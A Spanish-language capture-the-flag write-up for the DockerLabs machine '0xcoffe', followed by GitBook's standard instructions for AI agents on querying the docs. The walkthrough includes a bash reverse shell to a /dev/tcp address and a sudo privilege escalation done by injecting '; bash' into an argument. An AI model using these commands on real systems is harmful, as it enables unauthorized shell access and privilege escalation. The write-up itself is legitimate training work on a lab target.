> For the complete documentation index, see [llms.txt](https://oliver-3.gitbook.io/redteam-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://oliver-3.gitbook.io/redteam-notes/dockerlabs/0xcoffe.md). # 0xcoffe Iniciando con un escaneo de puertos me encontre con 2 puertos abiertos.
En el puerto 80, probe algunos comandos de injection sql pero no tuve exito alguno, revise el codigo fuente pero no se logra ver nada relevante
reviso el puerto 7777 que es tambien un servicio web y me consigo con que puedo ver el directorio \~ aqui consigo un directorio llamado secret, al acceder me consigo con un .txt (history.txt)
Tras leer el archivo .txt noto una palabra que me llamo la atencion "super\_secure\_password".\ Probe con ingresarla en la web que se aloja en el puerto 80, y logre obtener acceso al mismo. Una vez dentro, pruebo con obtener una rev. shell
script.sh\ /bin/bash -i >& /dev/tcp/192.168.47.130/4444 0>&1\ \ Intento de ejecutar sudo -l pero me solicita una contraseña.\ \ Por lo que revisando los directorios de los usuarios del sistema solo tengo permiso de accder en /home/codebad donde me encuentro con un directorio llamado secret que al acceder a el consigo un archivo llamado adivina.txt cat adivina.txt La respuesta es: malware La respuesta es: malware
Una vez dentro del usuario codebad, ejecuto sudo -l para ver si es posible escalar privilegios.\ Saliendo como resultado algo que en un principio no tenia muy en claro que podria hacer
Si intentamos leer el script, estará en un formato ilegible, pero podemos probar en ejecutarlo y ver que pasa:
Al hacer uso de ";" y poner `whoami; ls`, ejecuta ambos a la misma vez. ``` sudo -u metadata /home/codebad/code "/home/; bash" ``` Esto hará que se ejecute el binario bash y podremos escalar privilegios al usuario "metadata".
por lo que una vez con los privilegios intente ver si podia habia forma de escalar a root por medio de sudo pero pide una contraseña Asique me puse a buscar si habia algún archivo con el nombre de "metadata" con el siguiente comando
``` find / -name "meta*" 2>/dev/null ``` \ Donde uno en especial me llamo la atencion
El ejecutarlo no da mucho resultado, asique probe considerando el nombre como una posible contraseña. \
Teniendo como resultado la forma de escalar a root
PWNED!! --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://oliver-3.gitbook.io/redteam-notes/dockerlabs/0xcoffe.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.